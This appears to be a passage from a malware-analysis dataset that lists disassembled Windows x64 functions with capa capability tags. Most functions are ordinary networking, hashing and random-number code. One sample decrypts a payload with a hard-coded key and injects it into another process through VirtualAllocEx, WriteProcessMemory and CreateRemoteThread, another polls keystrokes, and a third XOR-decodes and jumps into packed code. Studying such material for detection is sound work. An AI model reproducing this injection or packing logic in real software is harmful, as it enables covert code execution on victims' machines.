joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002f90
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x278
mov dword [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x140002fc9
lea rcx, [0x14003fb08]
call fcn.140001210
xor eax, eax
jmp 0x140003035
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000301a
lea rdx, [0x14003fb20]
lea rcx, [rsp + 0x5c]
call fcn.1400127b4
test eax, eax
jne 0x140003004
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x20], eax
jmp 0x140003018
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002fe5
jmp 0x140003026
lea rcx, [0x14003fb40]
call fcn.140001210
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
add rsp, 0x278
ret

Function at 0x1400039c0
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x48
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x2c], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
xor eax, eax
cmp eax, 1
je 0x140003a91
mov ecx, 0x26
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
mov dword [rsp + 0x24], eax
mov ecx, 0x28
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
mov dword [rsp + 0x28], eax
mov ecx, 0x25
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
mov dword [rsp + 0x2c], eax
mov ecx, 0x27
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x24], 0
je 0x140003a4a
mov dword [rsp + 0x20], 1
jmp 0x140003a91
cmp dword [rsp + 0x28], 0
je 0x140003a5d
mov dword [rsp + 0x20], 2
jmp 0x140003a91
cmp dword [rsp + 0x2c], 0
je 0x140003a70
mov dword [rsp + 0x20], 3
jmp 0x140003a91
cmp dword [rsp + 0x30], 0
je 0x140003a81
mov dword [rsp + 0x20], 4
jmp 0x140003a91
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400039ec
mov eax, dword [rsp + 0x20]
add rsp, 0x48
ret
Function at 0x140003c80
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
sub rsp, 0x98
xor ecx, ecx
call fcn.1400018b0
mov ecx, eax
call fcn.1400124bc
call fcn.1400031f0
call fcn.1400031f0
call fcn.140003040
lea rax, [rsp + 0x70]
lea rcx, str.mysecretkey
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x48], 0xffffffffffffffff
inc qword [rsp + 0x48]
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
cmp byte [rax + rcx], 0
jne 0x140003cd3
mov rax, qword [rsp + 0x48]
mov dword [rsp + 0x58], eax
mov r9d, dword [rsp + 0x58]
lea r8, [rsp + 0x70]
mov edx, dword [0x140045e48]
lea rcx, [0x140045c50]
call fcn.140002f10
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x40], 0xffffffff
call fcn.140002f90
mov dword [rsp + 0x5c], eax
mov r8d, dword [rsp + 0x5c]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1f8
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1f8
lea r8, [0x140045c50]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp eax, 1
je 0x140003e7d
call fcn.1400039c0
mov dword [rsp + 0x44], eax
call fcn.140003aa0
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x44], 0
je 0x140003e16
cmp dword [rsp + 0x40], 3
jne 0x140003e16
mov ecx, dword [rsp + 0x44]
call fcn.1400032e0
call fcn.1400031f0
call fcn.140003040
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003e78
cmp dword [rsp + 0x40], 2
jne 0x140003e48
call fcn.140003040
lea rdx, str.You_Win
lea rcx, [0x140046590]
call fcn.140008030
lea rdx, [0x1400083d0]
mov rcx, rax
call fcn.1400040c0
jmp 0x140003e7d
cmp dword [rsp + 0x40], 1
jne 0x140003e78
call fcn.140003040
lea rdx, str.You_lose_
lea rcx, [0x140046590]
call fcn.140008030
lea rdx, [0x1400083d0]
mov rcx, rax
call fcn.1400040c0
jmp 0x140003e7d
jmp 0x140003dcb
xor eax, eax
add rsp, 0x98
pop rdi
pop rsi
ret

Function at 0x14001b2cc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001b0f8
Function at 0x140683c00
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword gs:[0x60]
movabs r11, 0x683c70
movabs r10, 0x683c74
mov r9, qword [rax + 0x10]
xor eax, eax
movsxd rcx, dword [r9 + 0x3c]
movsxd r11, dword [r9 + r11]
add rcx, r9
mov r10d, dword [r9 + r10]
movzx r8d, word [rcx + 0x14]
add r8, rcx
cmp dword [r8 + 0x20], eax
jbe 0x140683c66
mov edx, eax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 0x24]
inc eax
add rcx, rdx
inc rdx
xor byte [rcx + r9], r10b
cmp eax, dword [r8 + 0x20]
jb 0x140683c50
lea rax, [r9 + r11]
jmp rax

Function at 0x140013800
Capabilities:
Listen for remote procedure calls

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0xc]
mov ecx, dword [rcx + 8]
mov r8d, 1
call qword [sym.imp.RPCRT4.dll_RpcServerListen]
mov ebx, eax
cmp eax, 0x6b1
je 0x140013871
test eax, eax
je 0x140013871
lea rcx, str...SwRpcServer.cpp
mov edx, 0x5c
call qword [sym.imp.MSVCR120.dll_strrchr]
test rax, rax
je 0x140013841
inc rax
jmp 0x140013848
lea rax, str...SwRpcServer.cpp
lea rcx, [0x140042858]
mov rdx, rax
call fcn.140001760
movabs rcx, 0x212500000000
shl rax, 0x34
or rax, rbx
or rax, rcx
add rsp, 0x20
pop rbx
ret
movabs rax, 0x8000000000
add rsp, 0x20
pop rbx
ret
Function at 0x140004870
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x140004894
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x140004922
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400048f0
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x1400048f0
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.1400a4480
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000490d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x140004915
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x1400048b1
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x140004a00
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x140004939
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000493b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000496d
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.1400a4480
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400049fd
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400049a8
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x1400049de
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.14007d624
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x1400049fd
cmp rsi, rax
ja 0x1400049b1
test rsi, rsi
je 0x1400049fd
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14007d624
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
Function at 0x14000c280
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x1400d5a00]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
mov rcx, qword [0x1400d6fa0]
mov rax, qword [rcx + 8]
cmp byte [rax + 0x19], 0
jne 0x14000c2c8
nop dword [rax]
cmp dword [rax + 0x20], 4
jge 0x14000c2bc
mov rax, qword [rax + 0x10]
jmp 0x14000c2c2
mov rcx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x14000c2b0
cmp byte [rcx + 0x19], 0
jne 0x14000c3a4
cmp dword [rcx + 0x20], 4
jg 0x14000c3a4
lea r8, [rcx + 0x28]
mov r10, qword [r8 + 0x10]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x14000c2f1
mov rdx, qword [r8]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test r10, r10
je 0x14000c323
movabs r11, 0x100000001b3
nop dword [rax]
movzx eax, byte [rdx + rcx]
xor r9, rax
imul r9, r11
inc rcx
cmp rcx, r10
jb 0x14000c310
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000bc50
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x14000c35e
cmp rcx, qword [rbx + 8]
je 0x14000c35e
cmp qword [rbx + 0x10], 1
jne 0x14000c362
mov al, 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140076100
add rsp, 0x80
pop rbx
ret
xor al, al
jmp 0x14000c348
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14000c3d0
nop
mov r8, rax
lea rdx, str.AcceptEncoding_does_not_accept_any_other_values_if_disabled_is_present._You_set_the_following_encodings:
lea rcx, [rsp + 0x58]
call fcn.1400093c0
nop
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.14000c220
lea rdx, [0x1400d2b08]
lea rcx, [rsp + 0x20]
call fcn.1400780b4
nop
lea rcx, str.invalid_map_K__T__key
call fcn.140074e28
int3
Function at 0x14001a740
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbx, rdx
mov edx, 0x2b
mov rsi, r8
mov rbp, rcx
test r8, r8
je 0x14001a80c
xor r14d, r14d
nop dword [rax]
mov edi, 4
lea rdx, [rsp + 0x50]
cmp rsi, rdi
mov r8d, 4
mov rcx, rbp
cmovb rdi, rsi
call fcn.14001cf20
mov edx, eax
cmp eax, 4
jne 0x14001a7c0
cmp byte [0x1400d71d4], r14b
jne 0x14001a7ca
mov r9d, 2
mov dword [rsp + 0x50], r14d
mov r8d, eax
lea rdx, [rsp + 0x50]
xor ecx, ecx
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb edx, edx
and edx, 2
test edx, edx
jne 0x14001a80c
mov eax, dword [rsp + 0x50]
jmp 0x14001a7e9
imul eax, dword [0x1400d71d0], 0x41c64e6d
mov edx, r14d
add eax, 0x3039
mov dword [0x1400d71d0], eax
ror eax, 0x10
mov dword [rsp + 0x50], eax
test rdi, rdi
je 0x14001a803
sub rsi, rdi
mov byte [rbx], al
inc rbx
shr eax, 8
sub rdi, 1
jne 0x14001a7f1
mov dword [rsp + 0x50], eax
test rsi, rsi
jne 0x14001a770
mov rbx, qword [rsp + 0x40]
mov eax, edx
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x14001a830
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
sub rdi, 1
je 0x14001a8f8
xor ebp, ebp
lea r14, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
nop
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.14001cf20
cmp eax, 4
jne 0x14001a8a1
cmp byte [0x1400d71d4], bpl
jne 0x14001a8ab
mov r9d, 2
mov dword [rsp + 0x50], ebp
mov r8d, eax
lea rdx, [rsp + 0x50]
xor ecx, ecx
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
test eax, eax
jne 0x14001a8fd
mov ecx, dword [rsp + 0x50]
jmp 0x14001a8c8
imul ecx, dword [0x1400d71d0], 0x41c64e6d
add ecx, 0x3039
mov dword [0x1400d71d0], ecx
ror ecx, 0x10
mov dword [rsp + 0x50], ecx
cmp ecx, 0xfffffffc
jae 0x14001a860
mov eax, 0x8421085
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x3e
sub ecx, eax
movzx eax, byte [rcx + r14]
mov byte [rsi], al
inc rsi
sub rdi, 1
jne 0x14001a860
mov byte [rsi], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14001f7f0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x14001f8d2
call fcn.140040ac0
test al, al
jne 0x14001f8d2
mov qword [rsp + 0x30], rsi
xor esi, esi
mov qword [rsp + 0x38], rdi
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rbx + rdi], sil
jne 0x14001f822
mov r8, rdi
mov edx, 0x2e
mov rcx, rbx
call fcn.140041fe0
test rax, rax
je 0x14001f867
sub rax, rbx
mov edx, 0x2e
mov r8, rax
mov rcx, rbx
call fcn.140041fe0
mov rsi, rax
test rax, rax
je 0x14001f867
inc rsi
mov rcx, rbx
sub rcx, rsi
add rdi, rcx
test rsi, rsi
cmovne rbx, rsi
lea rsi, [rbx + rdi]
mov edi, 0x1505
cmp rbx, rsi
jae 0x14001f89b
nop dword [rax]
movzx ecx, byte [rbx]
call fcn.1400183f0
imul rdi, rdi, 0x21
movsx rcx, al
inc rbx
xor rdi, rcx
cmp rbx, rsi
jb 0x14001f880
mov rsi, qword [rsp + 0x30]
mov rcx, rdi
movabs rax, 0x410410410410411
mul rdi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 5
imul rcx, rcx, 0x3f
sub rdi, rcx
mov rax, rdi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x140031c00
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, rcx
xor ebp, ebp
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x140031c2a
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
lea rdx, [0x1400ab358]
mov qword [rsp + 0x48], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x1400ab368]
mov rcx, rbx
mov r14, rax
call fcn.14008c550
test rax, rax
je 0x140031c8b
mov rcx, rbx
test r14, r14
je 0x140031c78
xor edx, edx
mov r8d, 8
mov rax, r14
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
jmp rax
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
jmp qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test r14, r14
je 0x140031cc2
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140031cc2
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
mov rax, r14
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
jmp rax
xor edx, edx
mov qword [rsp + 0x50], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r15d, eax
test eax, eax
je 0x140031d8c
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x40], rsi
mov rdx, rdi
nop dword [rax + rax]
inc rdx
cmp word [rbx + rdx*2], bp
jne 0x140031cf0
lea ecx, [rax + 1]
add rcx, rdx
add rcx, rcx
call qword [fcn.14007fed0]
mov rsi, rax
test rax, rax
je 0x140031d7e
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x140031d7e
mov rax, rdi
cmp word [rsi + rax*2 + 2], bp
lea rax, [rax + 1]
jne 0x140031d23
mov dword [rsi + rax*2], 0x5c
inc rdi
cmp word [rsi + rdi*2], bp
jne 0x140031d35
add rdi, rdi
sub rdi, rbx
add rdi, rsi
nop word [rax + rax]
movzx eax, word [rbx]
mov word [rbx + rdi], ax
lea rbx, [rbx + 2]
test ax, ax
jne 0x140031d50
mov rcx, rsi
test r14, r14
je 0x140031d75
xor edx, edx
mov r8d, 8
call r14
jmp 0x140031d7b
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbp, rax
mov rcx, rsi
call qword [fcn.14007d200]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
mov rax, rbp
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
Function at 0x14003ab30
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
mov eax, dword [0x1400d72e8]
mov rbx, rcx
mov dword [rsp + 0x50], 0x4020
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x58], 4
test eax, eax
jne 0x14003ab98
mov r9d, 2
mov dword [rsp + 0x20], 3
xor r8d, r8d
xor edx, edx
mov ecx, 6
call fcn.1400651e0
test al, al
je 0x14003ab8c
mov dword [0x1400d72e8], 2
add rsp, 0x30
pop rbx
ret
mov dword [0x1400d72e8], 1
jmp 0x14003ab9d
cmp eax, 2
je 0x14003abef
lea rax, [rsp + 0x58]
mov edx, 0xffff
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r8d, 0x1001
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x14003abce
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x48], eax
jg 0x14003abef
lea r9, [rsp + 0x50]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x30
pop rbx
ret
Function at 0x14003b780
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x150
mov rax, qword [0x1400d5a00]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rax, qword [rcx]
mov rsi, r9
mov rdi, rcx
mov rbp, r8
mov r14, qword [rax + 0x10]
mov dword [r9], 0
xor r9d, r9d
mov rcx, qword [r14 + 0x98]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
cmp rbx, 0xffffffffffffffff
jne 0x14003b823
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x14003b7e7
mov dword [rsi], 0x51
jmp 0x14003b81c
mov r8d, 0x100
lea rdx, [rsp + 0x40]
mov ecx, ebx
call fcn.14003fa90
mov rcx, qword [rdi + 8]
lea rdx, str.Recv_failure:__s
mov r8, rax
call fcn.14001a110
mov rax, qword [rdi + 8]
mov dword [rax + 0xc8c], ebx
mov dword [rsi], gethostname
mov rbx, 0xffffffffffffffff
mov edx, dword [rsi]
lea r8, str.nw_in_read_len_zu__fd_qd______d__err_d
mov rcx, qword [rdi + 8]
mov r9, rbp
mov dword [rsp + 0x30], edx
mov rdx, qword [r14 + 0x98]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov rdx, qword [rdi]
call fcn.14001a250
mov rax, rbx
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140076100
add rsp, 0x150
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x14003b870
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x1c0
mov rax, qword [0x1400d5a00]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
mov rbx, qword [rcx + 0x10]
mov rsi, rdx
mov r9, qword [rbx + 0x98]
cmp r9, 0xffffffffffffffff
je 0x14003b9be
mov rax, qword [rdx + 0x20]
mov rcx, qword [rax + 0x360]
test dword [rcx + 0x8c], 0x800
jne 0x14003b9be
xorps xmm0, xmm0
mov dword [rsp + 0x20], 0x80
lea r8, [rsp + 0x20]
mov rcx, r9
lea rdx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x14003b94e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0xb0]
mov ecx, eax
mov ebx, eax
call fcn.14003fa90
mov r9, rax
lea rdx, str.getsockname___failed_with_errno__d:__s
mov r8d, ebx
mov rcx, rsi
call fcn.14001a110
mov eax, 2
jmp 0x14003b9c0
mov edx, dword [rsp + 0x20]
lea r9, [rbx + 0x140]
lea r8, [rbx + 0x10e]
lea rcx, [rsp + 0x30]
call fcn.140030530
test al, al
jne 0x14003b9be
mov qword [rsp + 0x1e0], rdi
call fcn.14007e000
mov ebx, dword [rax]
call fcn.14007e000
mov r8d, 0x100
lea rdx, [rsp + 0xb0]
mov ecx, ebx
mov rdi, rax
call fcn.14003fa90
mov r8d, dword [rdi]
lea rdx, str.ssloc_inet_ntop___failed_with_errno__d:__s
mov r9, rax
mov rcx, rsi
call fcn.14001a110
mov rdi, qword [rsp + 0x1e0]
mov eax, 2
jmp 0x14003b9c0
xor eax, eax
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.140076100
mov rbx, qword [rsp + 0x1e8]
add rsp, 0x1c0
pop rsi
ret
Function at 0x14003edf0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [case.0x1400218a2.0]
mov rdi, rax
test rax, rax
je 0x14003ee6d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x14003ee98
cmp ebx, esi
je 0x14003ee98
cmp ebx, 0x8000
ja 0x14003ee98
cmp ebx, esi
jb 0x14003ee93
mov edx, ebx
mov rcx, rdi
call qword [case.0x1400218a2.0]
mov rdi, rax
test rax, rax
jne 0x14003ee30
mov rcx, rbp
call qword [fcn.14007d200]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x14003ee78
mov rcx, rdi
jmp 0x14003ee70

Function at 0x1400418d0
Capabilities:
Convert ip address from string

Disassembly:
cmp qword [rsp + 0x28], 0
mov qword [r9], 0
jge 0x1400418e5
mov eax, 0xfffffffe
ret
mov qword [rsp + 0x28], r9
mov r9b, 1
jmp fcn.1400412f0
Function at 0x140041bd0
Capabilities:
Convert ip address from string

Disassembly:
push rbp
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400d5a00]
xor rax, rsp
mov qword [rsp + 0xb0], rax
xor edi, edi
mov r14, rdx
mov rbp, rcx
cmp byte [rcx + 0xa4e], dil
je 0x140041df2
cmp byte [rdx + 0x18], dil
mov qword [rsp + 0xc8], rsi
lea rsi, [rdx + 0x18]
je 0x140041dea
lea r8, [rsp + 0x20]
mov rdx, rsi
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x140041dea
lea r8, [rsp + 0x70]
mov rdx, rsi
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x140041dea
cmp byte [rsi], dil
lea rdx, str.Host__s:_d_was_resolved.
mov r9d, dword [r14 + 0x14]
mov rcx, rbp
mov qword [rsp + 0x100], rbx
mov rbx, qword [r14]
mov qword [rsp + 0xc0], r15
lea r15, str._none_
mov r8, r15
cmovne r8, rsi
call fcn.14001a200
mov edx, 0x400
lea rcx, [rsp + 0x30]
call fcn.140019de0
mov edx, 0x400
lea rcx, [rsp + 0x50]
call fcn.140019de0
test rbx, rbx
je 0x140041d57
mov r14d, 0x20
mov ecx, dword [rbx + 4]
cmp ecx, 0x17
je 0x140041cc4
cmp ecx, 2
jne 0x140041d4a
xor eax, eax
mov byte [rsp + 0x80], 0
cmp ecx, 2
lea rsi, [rsp + 0x30]
cmovne rax, r14
add rsi, rax
cmp ecx, 2
je 0x140041cf1
cmp ecx, 0x17
jne 0x140041d0c
mov rdx, qword [rbx + 0x20]
add rdx, 8
jmp 0x140041cf9
mov rdx, qword [rbx + 0x20]
add rdx, 4
mov r9d, 0x2e
lea r8, [rsp + 0x80]
call sub.WS2_32.dll_inet_ntop
mov rcx, rsi
call fcn.140019e00
test rax, rax
je 0x140041d30
mov r8d, 2
lea rdx, [0x1400a7960]
mov rcx, rsi
call fcn.140019da0
mov edi, eax
test edi, edi
jne 0x140041d72
lea rdx, [rsp + 0x80]
mov rcx, rsi
call fcn.140019d40
mov edi, eax
test eax, eax
jne 0x140041d72
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x140041cb3
lea rcx, [rsp + 0x50]
call fcn.140019e00
test rax, rax
je 0x140041d83
lea rcx, [rsp + 0x50]
call fcn.140019e10
jmp 0x140041d86
lea rdx, str.too_many_IP__cant_show
mov rcx, rbp
call fcn.14001a200
jmp 0x140041dc6
mov rax, r15
mov r8, rax
lea rdx, str.IPv6:__s
mov rcx, rbp
call fcn.14001a200
lea rcx, [rsp + 0x30]
call fcn.140019e00
test rax, rax
je 0x140041db4
lea rcx, [rsp + 0x30]
call fcn.140019e10
mov r15, rax
mov r8, r15
lea rdx, str.IPv4:__s
mov rcx, rbp
call fcn.14001a200
lea rcx, [rsp + 0x30]
call fcn.140019db0
lea rcx, [rsp + 0x50]
call fcn.140019db0
mov r15, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0x100]
mov rsi, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140076100
add rsp, 0xd0
pop r14
pop rdi
pop rbp
ret